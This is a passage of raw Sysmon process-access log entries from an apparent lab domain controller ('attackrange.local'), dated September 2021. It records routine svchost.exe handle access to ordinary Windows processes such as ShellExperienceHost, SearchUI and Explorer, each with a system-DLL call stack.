ll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0D00-00000000F001}8922396C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000042595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000042594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000042593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.445{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.414{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.414{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.414{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.414{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d3